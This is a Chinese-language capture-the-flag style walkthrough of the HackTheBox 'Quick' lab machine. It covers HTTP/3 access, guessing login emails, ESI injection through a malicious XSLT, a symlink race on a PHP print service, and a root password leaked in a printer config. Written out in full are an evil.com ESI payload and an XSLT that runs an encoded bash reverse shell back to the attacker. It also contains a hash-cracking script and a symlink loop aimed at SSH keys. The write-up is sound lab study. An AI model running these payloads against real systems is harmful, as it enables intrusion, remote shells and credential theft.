抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

因为现在还没有接到确切通知说是否考试,原本期末复习的计划也被打乱了。既然现在复习觉得有点亏,于是干脆去做做hackthebox的靶机算了,正好好久没写wp了2333。

虽然没更新文章,但是其实自己每周都在跟着ippsec的视频做退役靶机。当然其实也做了5.6台现役的。不过今天要写的Quick靶机的wp是自己头一次独立完成的困难难度的靶机。真的真的学到了很多东西。所以一定要记录下。

另外由于Quick还是active状态,所以我会给文章上锁直到靶机退役。

  • 靶机ip: 10.10.10.186
  • 攻击机: 10.10.14.40

initial foothold

这一部分真的挺麻烦的……中间有点点脑洞的成分,但总体还是比较符合真实环境的。

首先必然是nmap端口扫描。

# Nmap 7.80 scan initiated Thu Jun 18 14:43:20 2020 as: nmap -sC -sV -oA nmap/quick 10.10.10.186
Nmap scan report for 10.10.10.186
Host is up (0.44s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 18 14:46:54 2020 -- 1 IP address (1 host up) scanned in 214.65 seconds

可以看到只开放了ssh跟9001web端口。尝试访问web页面

会发现主要信息有

  • 几个标出了姓名跟公司的留言
  • update处指向了一个网页https://portal.quick.htb

同时底部clients定向到clients.php

似乎里面的公司跟前面的人名备注的公司有相同的地方。目前只能说大致可以收集一些信息。
访问login.php发现需要用户名跟密码。不过,此处的用户名要求为邮箱登录。密码则没有什么透露的信息。

web页面的信息收集完了,就应该试试https://portal.quick.htb

然而奇怪的是,我们根本没有办法访问这个网页(在修改了/etc/hosts的前提下)。尝试直接curl也同样无果。这时直接陷入僵局。

在逛了一圈htb的论坛后,发现大家提到了重新build工具这个关键信息。并且提到了,如果访问不了这个页面,是因为浏览器无法理解收到的信息。所以访问不了。并且最好尝试其他protocol.

在留意到protocol这个关键词后,我开始尝试跑一遍udp端口的nmap

# Nmap 7.80 scan initiated Fri Jun 19 20:33:51 2020 as: nmap -sU -oA nmap/quick-udp 10.10.10.186
Nmap scan report for portal.quick.htb (10.10.10.186)
Host is up (0.43s latency).
Not shown: 999 closed ports
PORT    STATE         SERVICE
443/udp open|filtered https

# Nmap done at Fri Jun 19 20:50:40 2020 -- 1 IP address (1 host up) scanned in 1008.38 seconds

原来在udp的443端口有https服务。看来大概率就是我们之前的网站了。此时搜索相关信息,会发现这应该是HTTP/3协议。因为HTTP/3的一个重要特征就是将弃用TCP协议,改为使用基于UDP协议的QUIC协议实现。
可以看下维基跟这篇文章。
http3-in-curl

http/3协议虽然是新趋势,但是目前能唯一有效连接的工具还是只有curl.所以我猜测论坛里大家提到的就是重新编译curl以支持http3.

然而这一步十分耗时间,因为必须要下Quiche重新编译,下brew来进行包管理……总之我连brew都没下完就放弃了这个选择,因为国内实在太慢了,换了git源后又因为其他源继续龟速下载…这时我在搜索内容中注意到docker有现成的镜像。于是果断换docker进行curl。(docker的最大价值就是为我们节省了配环境的大把时间)
pull一个ymuski/curl-http3镜像

docker run -it --rm ymuski/curl-http3 curl -V 

检查下支持http3.这样就可以用--http3来访问网址了

docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186 --http3 

发现几个链接。一个个访问后发现docs文档有两个pdf。

<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">

<h1>Quick | References</h1>
<ul>
  <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
  <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>

开始果断尝试直接-o输出,但是却搞忘了,这里是调用的docker执行命令。那么我们的输出在镜像里面。所以我得挂载一个目录来获取输出的pdf

docker run -it --rm -v /mnt/curl:/tmp ymuski/curl-http3 curl 10.10.10.186 --http3 -o /tmp/xxx.pdf

在其中一个pdf中得到关键信息。也就是密码。

那么接下来就是尝试登录了。这也是起手式这里又一个难点。原先htb的邮箱基本上都是admin@{box的hostname}.htb这种形式的。但是此处常规尝试都不起效果。于是只能手动写脚本组合下之前的信息。

list=[]
users=['tim','roy','elisa','james','mike','jane','john']
postfix=['qconsulting.co.uk','darkwing.com','wink.co.uk','lazycoop.cn','scoobydoo.it','penguincrop.fr']
postfix2=['qconsulting.co.uk','darkwing.com','wink.co.uk','lazycoop.com.cn','scoobydoo.co.it','penguincrop.co.fr']
postfix3=['qconsulting.htb.uk','darkwing.htb','wink.htb.uk','lazycoop.htb.cn','scoobydoo.htb.it','penguincrop.htb.fr']

def quick():
    global list
    for i in users:
        for j in postfix:
            list.append(i+'@'+j)
    return list

def quick2():
    global list
    for i in users:
        for j in postfix2:
            list.append(i+'@'+j)
    return list

def quick3():
    global list
    for i in users:
        for j in postfix3:
            list.append(i+'@'+j)
    return list

f=open('creds.txt','w')
for email in quick():
    f.write(email+'\n')

for email in quick2():
    f.write(email+'\n')
for email in quick3():
    f.write(email+'\n')
f.close()

最后尝试出结果后才发现其实不需要过多尝试的。但是重点(难点)就在于,它的邮箱格式非常类似真实的企业邮箱。前面我们主页面的信息结合起来后,其实每个人名对应的公司,国家都是确定的。所以我们主要注意采用二级域名即可。也就是跟在公司名后的.co.fr,.co.it等等。

得到用户elisa成功登陆后,我们就要准备第三部分的利用了。这里我直觉猜测应该可以RCE,因为htb的靶机如果没法getshell的话连后面的提权都做不到。出于直觉以及最早的信息收集,我认为这里应该是从header中泄露的信息下手

注意到X-Powered-By: Esigate后直接搜索相关信息。了解到这是一个模板相关的java服务。可以起到搭配phpcms并且将html片段进行整合的作用。并且进一步了解后发现存在RCE漏洞。

找了好几篇文章都没有关键代码。只有这篇提到了https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

触发的payload如下,显然也是因为引入了外部的恶意xsl导致RCE。

<esi:include src="http://website.com/" stylesheet="http://evil.com/esi.xsl">
</esi:include>

这里我注意到前面的src是website.com所以我在使用自己的payload时将其改为了10.10.10.186:9001。后来也证明如果不改的话,触发时会出现error retrieving url的报错。

接下来则是尝试如何触发的问题。这里我按打CTF的直觉认为应该是ticket.php传payload.search.php传search参数进行触发。当然网页也提醒了,当你传完ticket后会返回一个预先置好的ticketid。只要在search.php搜索对应id即可。

这里还有一个小坑。那就是java的命令执行问题。开始尝试触发时发现主要问题是:

  • 一个ticket传一次后就失效了。导致我每次得更改xsl的名字。
  • 命令执行curl 10.10.10.14.40|bash失败。估计又是java的锅。

如果稍微过一遍上面那篇文章中的xsl.会发现肯定是调用了java.lang.Runtime.getRuntime().exec()来执行命令的。所以肯定存在单条命令特殊字符过不去的问题。当然解决方法在做vulhub各种java反序列化时就用烂了。使用编码绕过即可。
http://jackson-t.ca/runtime-exec-payloads.html

最后我的xsl payload

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

先raise一个ticket后准备好监听,search.php传值直接触发

到此为止即可弹到用户sam的shell。拿到user.txt

上面一套流程走下来后花了快有7个小时。只能算是配环境(甚至还没配成)跟猜用户名的锅。但同时也表现出enumeration的过程有多重要。否则甚至不能正常进行后面的提权。java的命令执行这个小trick对于新手而言也许很坑。但是仍然是有方法的。比如wget一个netcat过去再执行(windows常规操作,尤其是在windowsdefender日渐强大的今天)。假如熟悉java的话则应该很快就能构造出弹shell的payload.不至于卡在RCE却无法getshell.

privesc to srvadm

得到用户sam后准备开始提权。首先是常规的linpeas.sh传到靶机上扫一遍。接着是python -c 'import pty;pty.spawn("/bin/bash")'维持shell.毕竟一套流程下来getshell也不是那么迅速的。(当然可以写个ssh公钥,就是我搞忘了2333)

脚本扫过一遍后并没有什么收获。倒是在html的源码里找到了php的db.php泄露了数据库信息

<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

登录mysql从users表里拿到两个用户及各自密码的hash

| Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |

此时靶机还剩下一个要提权的用户srvadm。这里泄露了密码,当然要去php源码里看看密码是怎么与hash进行对比的
login.php中

password=md5(crypt($password,'fa'))

既然盐值以及加密都不算难。我们直接用脚本+rockyou.txt来试试爆破

import crypt
import hashlib


def get_md5(s):
    md = hashlib.md5()
    md.update(s.encode('utf-8'))
    return md.hexdigest()

f=open('rockyou.txt','r')
for i in range(1,10000000):
    try:
        word=f.readline().strip()
    except:
        continue
    hashes=crypt.crypt(word,'fa')
    cipher=get_md5(hashes)
    if cipher=='e626d51f8fbfd1124fdea88396c35d05':
        print('Found: '+word)
        break

得到srvadm的密码后当然先试试看是不是ssh或者系统密码了。但很可惜都不是。既然如此,这个密码只能在web服务上发挥作用了。那么说还有其他web服务?

这时我注意到了/var/www/里除了html还有两个文件夹

诡异的是jobs是777权限。似乎可以做文章。那么转而去旁边的printer中找。发现又是一套带了cms的php源码。并且用的数据库跟之前html中的是一致的。也就是说我们爆破出的密码有用了。

简单审下后发现一个似乎存在漏洞的地方(实际上当时关注点错了)
job.php

<?php

require __DIR__ . '/escpos-php/vendor/autoload.php';
use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
use Mike42\Escpos\Printer;
include("db.php");
session_start();

if($_SESSION["loggedin"])
{
    if(isset($_POST["submit"]))
    {
        $title=$_POST["title"];
        $file = date("Y-m-d_H:i:s");
        file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
        chmod("/var/www/printer/jobs/".$file,"0777");
        $stmt=$conn->prepare("select ip,port from jobs");
        $stmt->execute();
        $result=$stmt->get_result();
        if($result->num_rows > 0)
        {
            $row=$result->fetch_assoc();
            $ip=$row["ip"];
            $port=$row["port"];
            try
            {
                $connector = new NetworkPrintConnector($ip,$port);
                sleep(0.5); //Buffer for socket check
                $printer = new Printer($connector);
                $printer -> text(file_get_contents("/var/www/jobs/".$file));
                $printer -> cut();
                $printer -> close();
                $message="Job assigned";
                unlink("/var/www/jobs/".$file);
            }
            catch(Exception $error) 
            {
                $error="Can't connect to printer.";
                unlink("/var/www/jobs/".$file);
            }
        }
        else
        {
            $error="Couldn't find printer.";
        }
    }


?>
<?php } 
else
{
    echo '<script>alert("Invalid Username/Password");window.location.href="index.php";</script>';
}?>

其中用到的框架的部分经搜索后发现只是一个类似‘打印’功能的框架。比如NetworkPrintConnector就是调用了一个fsockopen()

接下来的部分就是最让我头疼的部分。很大程度上是经验不足吧。现在既然要提权,并且有存在漏洞的web服务了,那么它肯定得是srvadm运行的,才能让我有提权机会。然而我在找服务这里却浪费了很多时间:开始看端口发现有80端口,于是直接curl.得到的却是之前9001端口的php+esigate页面。导致我以为80端口运行的是nginx给java做的反代。之后把靶机端口全过了一遍也没有找到哪个端口是跑的printer的web服务。甚至也没找到srvadm在运行什么服务的信息。导致自己瞬间迷茫。

之后在这块询问了下外国友人bigFish43。他给我的提示是查看下apache的config文件。于是思路瞬间明朗起来。

sites-enabled/000-default.conf里找到了子域名printerv2.quick.htb并且正如所预料的,是以srvadm用户运行的。

apache的virtualhost跑在80端口上。不过同时我们知道html文件夹里的的服务也跑在80端口上。那么需要更改Host才能访问
靶机上
curl localhost -H 'Host: printerv2.quick.htb'后终于得到了来自printer的回显。那么下一步就是,为了直接在本地访问到printerv2.quick.htb,必须要进行端口转发了。因为我们最早nmap探测80端口时是没有开启的。说明这里apache服务是运行在本地的。

转发端口同样也有至少两种方法。ssh或者上工具chisel。这里我没有用ssh登录,所以直接用chisel。chisel之前做sniper也用过了。这里直接留传完chisel后的命令

#kali
./chisel_linux_amd64 server -p 8000 --reverse

#sam@quick
./chisel_linux_amd64 client 10.10.14.40:8000 R:80:127.0.0.1:80

意思就是,靶机借用8000端口的中转,把靶机的80端口转到kali的127.0.0.1:80即本地80端口.

这样就把80端口转发到本地了。接下来由于要修改hostname。因为不想影响访问之前的网址。直接开个burp来修改Host header.

只要保持burp打开,我们每次访问的Host都会被替换.
即可在本地访问进行操作。

接下来就是渗透的难点了。前面提到说job.php看起来有漏洞,但究竟漏洞在哪?开始我觉得有漏洞是因为里面出现了chmod(xxx,777)。但仔细一看却发现那个/var/www/printer/jobs路径不存在?既然如此,代码逻辑就是:

  • 接受我们post的参数,执行file_put_contents()/var/www/jobs写入一个文件名为当前日期的文件。并且chmod一个不存在的文件。
  • 执行sql查询。假如jobs库里有内容。按照查询结果远程连接到对应的ip,port.sleep(0.5)后执行file_get_contents()读我们之前的文件,并最后删除;jobs库无内容直接退出。

这里卡了好久后我突然想起来/var/www/jobs文件夹是777权限。那么我们可以写文件这点就非常重要。于是立刻就有了两种使用短链接的条件竞争

  • 不要在数据库中插入新数据。这样srvadm创建的文件就会留下来。如果我们提前创建一个同名文件(因为文件名为时间这点是可预测的)。并利用短链接将其链接向srvadm的sshkey.那么执行file_put_contents()时不就可以写入我们自己的公钥了吗?

  • 在前面printer.php就输入host跟port.即在数据库插入数据。这样job.php就会进行读文件并打印内容。而我们可以用nc接收。只要在写文件跟读文件的间隔中删掉文件并建立一个到ssh私钥的短链接。php就会把读到的私钥发给我们。

这里两种思路同时想到,我立刻选择了前者。因为后者算比较纯粹的条件竞争,时间不好把控(所以叫Quick),我选择前者。

操作起来比想象中简单。我一次就成了。假如同时做靶机的人比较多的话就另谈,

其实就是算好一个提前量。并且执行

ln -s /home/srvadm/.ssh/authorized_keys 2020-06-23_06:00:00

然后差不多算好时间提前burp重复发包。
这里因为精度被限制在1s.所以写入我们的key的可能性不小。

之后直接ssh登录即可

chmod 600 id_rsa
ssh -i id_rsa srvadm@10.10.10.186

这里我虽然没试第二种思路,但做完靶机后看到其他人的wp里写到了解决方法:

执行一个bashscript

cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done

然后起一个nc监听。并在job.php提交内容写入。这样就能得到私钥并且直接登录了。

这段内容其实花的时间不比第一部分少。甚至于我遇到的困难更多。比如在找服务上太傻了。之后想起运行pspy64s时也发现了系统是有apache服务跑着的。那肯定就得去找配置文件。结果自己只看了apache的apache2.conf就了事了。该打。然后就是后面的漏洞利用。那个chmod着实害人,开始还想着把短链接链到那个不存在的文件。仔细一想才发现其实直接链到key就可了。

privesc to root

到root的部分才是真正的Quick。只需要待在自己的home文件夹进行enum即可。

这里按照sshkey的创建时间,找一下3-21之前一个月不到的文件。

srvadm@quick:/home/srvadm# find . -type f -newermt "2020-03-01" ! -newermt "2020-03-21" -ls 2>/dev/null
   281794      4 -rw-r--r--   1 srvadm   srvadm       4038 Mar 20 06:23 ./.cache/conf.d/printers.conf
   281793      8 -rw-r--r--   1 srvadm   srvadm       4569 Mar 20 06:20 ./.cache/conf.d/cupsd.conf
   281799     72 -rw-rw-r--   1 srvadm   srvadm      71479 Mar 20 06:46 ./.cache/logs/debug.log
   281798      4 -rw-rw-r--   1 srvadm   srvadm       1136 Mar 20 06:39 ./.cache/logs/error.log
   281791     12 -rw-r--r--   1 srvadm   srvadm       9064 Mar 20 06:19 ./.cache/logs/cups.log
   281425      0 -rw-r--r--   1 srvadm   srvadm          0 Mar 20 02:38 ./.cache/motd.legal-displayed
   281369      4 -rw-r--r--   1 srvadm   srvadm        220 Mar 20 02:16 ./.bash_logout
   281797      4 -rw-------   1 srvadm   srvadm         23 Mar 20 06:46 ./.local/share/nano/search_history
   281421      4 -rw-r--r--   1 srvadm   srvadm        222 Mar 20 02:38 ./.ssh/known_hosts
   281418      4 -rw-------   1 srvadm   srvadm       1679 Mar 20 02:37 ./.ssh/id_rsa
   281419      4 -rw-r--r--   1 srvadm   srvadm        394 Mar 20 02:37 ./.ssh/id_rsa.pub
   281370      4 -rw-r--r--   1 srvadm   srvadm       3771 Mar 20 02:16 ./.bashrc
   281371      4 -rw-r--r--   1 srvadm   srvadm        807 Mar 20 02:16 ./.profile

一个个读后发现关键信息在
./.cache/conf.d/printers.conf

DeviceURI https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer

之前学ssrf时总结过url的属性。username:password@host的格式告诉了我们&ftQ4K3SGde8?密码。所以直接尝试su到root。直接拿到rootshell.

ssh也是同样

summary

本次渗透前后花了不少时间。相比之前看ippsec视频做退役靶机,独立完成一台困难靶机真的感觉很不错,也很艰辛。当然,能完整做完很大程度上是因为这台靶机的内容很适合CTF的web选手。自己在很多地方也都运用到了自己日常比赛时的小技能。同时靶机关于http/3,xslt->RCE,提权方法等等都有很大收获。所以非常赞。

其实前前后后做了快20多台HTB靶机,感觉自己经常卡在enumeration也就是枚举(信息收集)上。而这往往是解决问题的关键。希望能够多锻炼下自己这方面的能力吧。

评论